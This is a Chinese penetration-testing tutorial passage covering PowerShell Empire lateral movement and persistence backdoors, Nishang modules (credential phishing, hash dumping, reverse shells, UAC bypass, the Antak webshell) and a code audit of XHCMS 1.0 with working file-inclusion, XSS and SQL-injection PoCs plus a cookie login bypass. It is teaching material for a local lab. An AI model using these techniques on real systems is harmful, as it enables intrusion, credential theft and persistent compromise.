现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86,输入info查看设置参数,如下图所示。
这里要设置下机器名和监听,输入下列命令,反弹成功
输入agents命令查看当前agents,多了一个IP为192.168.31.158,机器名为WIN7-X86的服务器
权限维持
攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境。服务器重启后,我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术。
1.权限持久性劫持shift后门
shitf后门,其实就是使用了windows系统的粘滞键功能,当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序,然后通过按5次就来启动后门。
输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块,可以输入info查看参数,set设置相关参数
运行后,在目标主机远程登录窗口按5次shift即可触发后门,有一个黑框一闪而过,
这时看我们的Empire已经有反弹代理上线
2.注册表注入后门
使用usemodule persistence/userland/registry模块,运行后会在目标主机启动项添加一个命令,可以输入info查看信息
按如下命令设置其中几个参数,如下图所示。
重启目标主机,用户登录系统后,会有反弹会话生成
6.3.9 Empire反弹回Metasploit
在实际渗透中,当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时,可以使用PowerShell来绕过,也可以执行Empire的Payload来绕过,成功之后再用Empire的模块将其反弹回Metasploit。
首先在Metasploit我们使用multi/script/web_delivery模块
使用usemodule code_execution/invoke_metasploitpayload模块,输入info看下参数
这里我们只需修改1个参数URL,
修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y
按下列命令设置完毕,然后执行
Metasploit收到Empire反弹回来的shell,如下图所示。
6.4 Nishang
6.4.1Nishang简介
Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。
下载地址如下:https://github.com/samratashok/nishang
下载完成后我们可以看到以下工具里面都包括一些什么功能目录
Nishang在PowerShell 3.0以上环境中可正常使用,在win7上PowerShell默认版本是2.0,不太支持,可以在win10中测试或者升级win7的PowerShell 的版本。
使用方式和PowerSploit一样,可以搭建一个WEB服务器,把Nishang脚本放在WEB目录,然后远程去加载调用脚本
为了方便我们直接把Nishang上传到本地服务器,本机加载。首先以管理员启动powershell
导入框架,并查看有哪些模块,如下图
6.4.2Nishang模块攻击实战
开始对部分模块的功能进行讲解:
1.Check-VM
它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机
2. Invoke-CredentialsPhish
这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程
Invoke-CredentialsPhish
输入服务器正确账号和密码后
3. Get-PassHashes
在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了
4. Invoke-Mimikatz
需要管理员权限,抓取密码
5. Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse
Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat
6. Get-PassHints
获取用户的密码提示信息,需要有Administrator权限来读取sam hive
有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中
6.4.3PowerShell交互式Shell
Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell
一、基于TCP协议的Powershell交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。
参数介绍:
-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址
-Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。
-Reverse [<SwitchParameter>] 反向连接
-Bind [<SwitchParameter>] 正向连接
使用实例:
1.正向连接
第一步:在目标机运行脚本,监听端口88
第二步:使用nc连接到目标机端口88
2. 反向连接
第一步:使用nc监听本地端口88(注意必须先监听,不然在目标机上执行脚本会出错)
第二步:在目标机上运行脚本来反弹shell
第三步:观察攻击机,可以发现成功反弹shell
二、基于UDP协议的PowerShell交互式Shell
Invoke-PowerShellUdpPowershell交互式正向连接或反向连接shell,基于UDP协议。
使用实例:
1.正向连接
第一步:在目标机运行脚本,监听端口66
第二步:使用nc连接到目标机端口66
2. 反向连接
第一步:使用nc监听本地端口66
第二步:在目标机上运行脚本来反弹shell
第三步:观察攻击机,可以发现成功反弹shell
三、基于HTTP和HTTPS协议的PowerShell交互式Shell
Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。
这里需要说明以下,需要攻击者以管理员身份运行
第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。
第二步:在目标机上运行下列命令,反弹Shell
第三步:观察攻击机,可以发现成功反弹shell
6.4.3权限提升
权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。
这里我们主要讲通过Bypass UAC来提权
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
需要UAC的授权才能进行的操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹
UAC有如下四种设置要求:
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
如何Bypass UAC
我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
Invoke-PsUACme 提供了一些绕过UAC的方式。这个模块用的是UACME项目的DLL来Bypass UAC。方法对照表如下
使用Nishang中的Invoke-PsUACme.ps1我们来尝试提权
Admin用户,在没有使用以管理员身份运行时
我们直接运行Invoke-PsUACme来绕过UAC后
6.5WebShell后门
存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。
将Nishang的antak.aspx文件,放在IIS网站中
然后访问网站中的antak.aspx文件(出现登陆页面)
Nishang的antak用户名:Disclaimer
Nishang的antak密码:ForLegitUseOnly
登陆成功,进入欢迎页面
输入help,可以得到帮助信息
输入ls,可以查看网站的目录结构
点击download,可以下载网站的重要文件
点击upload the file,可以上传木马文件
第七章 实例分析
7.1代码审计
7.1.1代码审计概念
代码审计,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。
代码审计不是简单的检查代码,审计代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。
代码审计这是一个需要多方面技能的技术,也是需要一定的知识储备。我们需要掌握编程,安全工具的使用、漏洞原理、漏洞的修复方式、函数的缺陷等等。
7.1.2代码审计基础
代码审计入门基础:html/js基础语法、PHP基础语法 ,面向对象思想,PHP小项目开发(Blog、注册登录、表单、文件上传、留言板等),Web漏洞挖掘及利用,Web安全工具基本使用(burpsuite、sqlmap等),代码审计工具(seay审计系统、zend studio+xdebug等)
代码审计两种基本方式:
通读全文源码:通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成千上万行。当然了解整个Web应用的业务逻辑,才能挖掘到更多更有价值的漏洞。
功能点审计:根据漏洞对应发生函数进行功能行审计,常会用到逆向溯源数据流方法进行审计。
代码审计两种基本方法:
正向追踪数据流:跟踪用户输入参数 -> 来到代码逻辑 -> 最后审计代码逻辑缺陷 -> 尝试构造payload
逆向溯源数据流:字符串搜索指定操作函数 -> 跟踪函数可控参数 -> 审计代码逻辑缺陷 -> 尝试构造payload
7.1.3代码审计思路
从开发者的位置去思考问题,可以快速定位问题。学习面向对象编程以及面向过程编程,编写一些项目提升对代码的理解能力,再是对各种漏洞可以独立挖掘利用并能理解漏洞的危害,这里我们主要针对PHP源码做审计。
我们从三个层次开始我们的源码审计思路
1.确定要审计的源码是什么语言
2.确定该源码是单入口还是多入口
3.确定该语言的各种漏洞诞生的函数
7.1.4代码审计环境
PHP源码部署环境:Phpstudy
集成开发环境:Zend Studio/Phpstorm
数据库管理工具:Navicat for MySQL
MySQL实时监控工具:MySQLMonitor
文本编辑工具:Sublime_Text3
代码审计辅助工具:Seay源代码审计系统、Rips
代码审计辅助安全工具:渗透版火狐、BurpSuite、Sqlmap
7.2危险函数及关键字
通常做代码审计都是检查敏感函数的参数,然后回溯变量,判断变量是否可控并且没有经过严格的过滤,这是一个逆向追踪的过程。
这里列出一些特定漏洞对应的比较容易出问题的函数或关键字,提高审计效率。
7.2.1 SQL注入
select
update
insert into
delete
注:此处非函数,主要找常用的SQL语句
7.2.2本地文件包含
include() 向上包含,向下包含,如果包含出错继续向下执行
include_once() 同上,只进行包含一次
require() 向上包含,向下包含,如果包含出错不下向下执行
require_once() 同上,只进行包含一次
7.2.3命令执行
system()
exec()
passthru()
shell_exec()
7.2.4 XSS跨站脚本攻击
print
print_r die
echo var_dump
printf var_export
7.2.5文件上传漏洞
move_uploaded_file()
7.2.6文件下载
fopen()
readfile()
file_get_contents()
7.2.7任意文件删除
unlink()
7.2.8 反序列化漏洞
unserialize()
7.3代码审计工具
使用自动化工具辅助人工漏洞挖掘,可以显著提高审计工作的效率。学会利用自动化代码审计工具,是每一个代码审计人员必备的能力。
我们这里介绍两款PHP代码审计工具
7.3.1 RIPS
RIPS是一个用 PHP 编写的源代码分析工具,它使用了静态分析技术,能够自动化地挖掘 PHP 源代码潜在的安全漏洞。渗透测试人员可以直接容易的审阅分析结果,而不用审阅整个程序代码。由于静态源代码分析的限制,漏洞是否真正存在,仍然需要代码审阅者确认。RIPS 能够检测 XSS, SQL 注入, 文件泄露, Header Injection 漏洞等。
RIPS官网:http://rips-scanner.sourceforge.net/
下载完之后将该压缩包解压到本地网站的根目录下,然后在浏览器 localhost/Rips(你解压的文件名字)/就可以进去了,如下图所示:
subdirs:如果勾选上这个选项,会扫描所有子目录,否则只扫描一级目录,缺省为勾选。
verbosity level:选择扫描结果的详细程度,缺省为1(建议就使用1)。
vuln type:选择需要扫描的漏洞类型。支持命令注入、代码执行、SQL注入等十余种漏洞类型,缺省为全部扫描。
code style:选择扫描结果的显示风格(支持9种语法高亮)。
/regex/:使用正则表达式过滤结果。
path/file: 要扫描的目录。
scan: 开始扫描。
使用
在path/file中输入需要扫描源码的目录, 其他使用默认设置,点击scan:扫描结果如下:
我们可以看到RIPS的功能还是很强大的,将目录中所有的漏洞文件找出
对扫描出每个漏洞文件,点击左上角的按钮可以查看代码的详细情况
左下角的问号是解释,它会详细的解释这是什么类型的漏洞,并且有漏洞补丁方案
右下角的红色按钮,可以根据漏洞生成漏洞利用代码
到这里我们可以看到该工具非常强大,可以帮助我们提高审计效率
7.3.2 Seay 源代码审计系统
Seay源代码审计系统是由国人开发的一款基于白盒测试的代码审计工具,具有自动代码审计功能。支持一件审计,代码调试,函数定位,自定义审计规则等强大功能。可以简化人工审计的繁琐流程,使代码审计更加智能简洁。
目前作者官网已不能访问,可以从如下地址下载:https://github.com/f1tz/cnseay
程序使用C# 编写,须要.NET2.0以上版本环境才能运行。
直接运行“Seay源代码审计系统.exe”即可安装,安装完直接运行,如下图所示:
点击“新建项目”按钮新建一个审计项目。选择需要扫描的源码所在目录。
打开一个审计项目后,可以看到审计系统左侧列出了该项目的全部源代码文件,点击“自动审计”按钮进入审计操作
点击“自动审计”操作下的“开始”按钮,正式进入审计过程并等待审计扫描完成。
当Seay源代码审计系统底部提示“扫描完成”时,点击“生成报告”生成本次审计报告并保存报告生成的html文件。
通常我们可以直接在审计工具里双击漏洞所在的行,跳转到相应文件审计。
会高亮显示漏洞所在的行,后面就是需要人工来判断漏洞是否确实存在。
7.4测试环境搭建
以熊海CMS1.0为例我们来进行实例审计,CMS下载地址:https://zdown.chinaz.com/201503/xhcms_v1.0.rar
为了复现我们审计出的漏洞,首先搭建熊海CMS站点测试环境。
此CMS运行需要的环境:php+mysql+apache,注意这里php版本需要5.x
这里使用phpstudy 2018来搭建,把压解的熊海CMS源码,复制到WWW目录下。
在切换版本里选择php-5.2.17+Apache
开启apache和mysql服务。
通过自带的MySQL管理器,这里使用MySQL-Front
登录进mysql,新建一个数据库xhcms
访问如下链接来安装,确认提交后可以看到安装成功
http://127.0.0.1/xhcms/install/
7.5 CMS代码审计实战分析
开始审计
先查看一下网站的文件目录结构,了解一下大概文件夹的功能作用。
一般文件夹的英文名字就是这个文件夹实现的功能
admin --管理后台文件夹
css --存放css的文件夹
files --存放页面的文件夹
images --存放图片的文件夹
inc --存放网站配置文件的文件夹
install --网站进行安装的文件夹
seacmseditor --编辑器文件夹
template --模板文件夹
upload --上传功能文件夹
index.php --网站入口(首页)
入口文件:index.php、main.php文件一般是整个程序的入口,从中可以知道:
程序的架构;
运行流程;
包含哪些配置文件;
包含哪些过滤文件和安全过滤文件;
了解程序的业务逻辑。
配置文件:一般类似config.php等文件,保存一些数据库相关信息,程序的一些信息。
先看数据库编码,如果是GBK可能存在宽字节注入。
若变量的值用双引号,则可能存在双引号解析代码执行的问题。
此CMS的配置文件为:inc/conn.php
过滤功能:通过详细读公共函数文件和安全过滤文件等文件,清晰掌握:
用户输入的数据,哪些被过滤,哪些无过滤如何过滤。在哪里被过滤了。
如何过滤,过滤的方式是替换还是正则,能否绕过过滤的数据。
这里我们首先看下 入口文件、配置文件、过滤功能。此程序比较简单,没有安全过滤文件
7.5.1文件包含漏洞
首先就从网站入口index.php跟进,发现是一个单入口模式:
在这里我们可以得知,它是先接收一个r参数然后用addslashes函数进行过滤。然后判断文件名,如果为空的话,则包含files/index.php,反之赋值就会把传递进来的文件名赋值给 $action进行拼接。这样的话,我们在这里就很清楚的知道,这里就是一个很经典的文件包含漏洞,r参数只是经过了addslashes函数进行过滤(几乎相当于没
过滤)后被incluede包含。但因为在包含时限定了.php后缀,本地包含时需要截断。利用起来存在一定限制。
"单一入口模式",这个是什么意思呢?简单来说就是用一个文件处理所有的HTTP请求,例如不管是内容列表页,用户登录页还是内容详细页,都是通过从浏览器访问 index.php 文件来进行处理的,这里这个 index.php 文件就是这个应用程序的单一入口。
在分析PHP代码的时候,遇到不懂的函数要随手查PHP手册去了解相关用法和解释。
第三行 error_reporting(0);表示关闭所有PHP错误报告。
第四行 r参数通过GET请求经过 addslashes函数处理后再传递给$file变量。查阅PHP手册可以知道,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。通常这个函数用于防止SQl注入。
第五 六行通过三元运算符判断文件名是否为空,为空则载入files/index.php文件,反之赋值就会把传递进来的文件名赋值给 $action,"."在PHP里是拼接的作用,因此就是把第四行传递的变量 $file(到这里是 $action,因为上一行 $file赋值给了 $action)也就是传递的文件名字,拼接前面的目录”files/”以及后面的".php"这个后缀,最终载入拼接后的相应文件。
那么这里漏洞利用其实就两个问题:跳出限定的目录和截断拼接的后缀。
介绍文件包含截断的2种方法
第一种是使用%00截断,但是php>5.3以后就不能使用了,开启了GPC的情况下也是不能使用的,因为此CMS这里用了addslashes函数同样不能使用。
第二种是点号截断
1.Windows下在文件名字后面加 “.” 不影响文件。2.Windows的文件名的全路径(Fully Qualified File Name)的最大长度为260字节。但是这个是有利用条件的,在测试过程中, 发现必须同时满足 php版本=5.2.17、Virtual Directory Support=enable,这个在我们phpstudy2018搭建的环境里满足。
此CMS后台存在上传功能可以上传图片,通过上传写有php代码的图片文件,通过包含漏洞可以使我们的代码运行。
这里为了方便直接在此CMS根目录的upload\image\20150321目录,新建一个内容为<?php echo phpinfo();?> 的test.jpg文件,模拟上传的图片文件。
另外有一点,就是文件包含这里,不论你文件的后缀是什么,他包含的时候是只管你文件的内容的,因此你不论是弄成文本还是图片,只要里面内容是可以执行的PHP代码,就可以包含执行利用成功,因此这也是文件包含利用的一个要点
下面来构造利用poc,利用“../”来跳出限制的“/files”目录,跳到CMS根目录,然后再拼接成../upload/image/20150321/test.jpg
然后我们再利用点号截断来截断代码中.php后缀
最终poc如下:http://127.0.0.1/xhcms/index.php?r=../upload/image/20150321/test.jpg........................................................................................................................................................................................................
点号这里加了200个
通读全文法比较太费时费力,但是最全面。
最高效和最常用的方法还是敏感函数参数检查,这里我们通过前面介绍的审计工具来辅助我们审计工作。
当然审计工具存在着误报和漏报问题,这就需要我们需要不断积累审计知识,不只是依靠工具。
首先用RIPS我们来扫描下,然后对扫出的漏洞进行验证。
我们先验证前台漏洞,后台漏洞的话需要先得到后台权限才能利用。前台漏洞较后台漏洞利用面更广些。
扫出如下文件存在问题 File: /xhcms/files/contact.php
我们进行分析,先看跨站脚本问题
7.5.2 XSS漏洞
从上面代码里我们看到139行 echo $page 直接输出$page内容,如果$page内容可控,并且没有过滤的话,就存在漏洞
从扫描工具显示的结果中可以看到$page变量来自外界输入,只是用addslashes做了过滤(过滤不全)
前面介绍过,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。
构造利用POC,如下如果POC里存在双引号,代码不能执行,会被转义
http://127.0.0.1/xhcms/index.php?r=contact&page=<script>alert("test")</script>
把双引号修改成如下,代码可以成功执行
http://127.0.0.1/xhcms/index.php?r=contact&page=<script>alert(/test/)</script>
7.5.3 SQL注入漏洞
扫出如下文件存在问题 File: /xhcms/files/content.php
从上面代码可以看到,第20行$id并没有被单引号包裹
向上追溯看$id可以看到其值来自cid的赋值,cid是可控的,并且只是用了addslashes做过滤,单引号(‘)、双引号(“)、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。这里是整型注入, addslashes对利用没有影响。
构造利用POC
先使用报错利用代码,获取数据名如下
http://127.0.0.1/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
使用sqlmap利用获取当前数据库名
python sqlmap.py -u "http://127.0.0.1/xhcms/index.php?r=content&cid=1" -p cid --current-db
业务逻辑漏洞-后台登录绕过
自动化代码安全审计往往无法查找业务相关的漏洞,比如支付漏洞、任意密码重置,优惠券叠加等。在了解代码和业务的基础上,来进行人工审计。
在进入到管理员首页时,首先会检测是否是登录的状态,
漏洞代码位置:/xhcms/inc/checklogin.php
下面我们看下checklogin.php代码
判断登录的状态是通过截取cookie中user字段的值来判断是否进行了登录。如果COOKIE中user参数为空,那么就跳转到登陆的地方。如果修改user字段不为空,就会成功登录到后台。显然,这种写法是有缺陷的。
我们来利用此漏洞来登录后台,访问如下地址,使用burp拦截
http://127.0.0.1/xhcms/admin/index.php
=
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。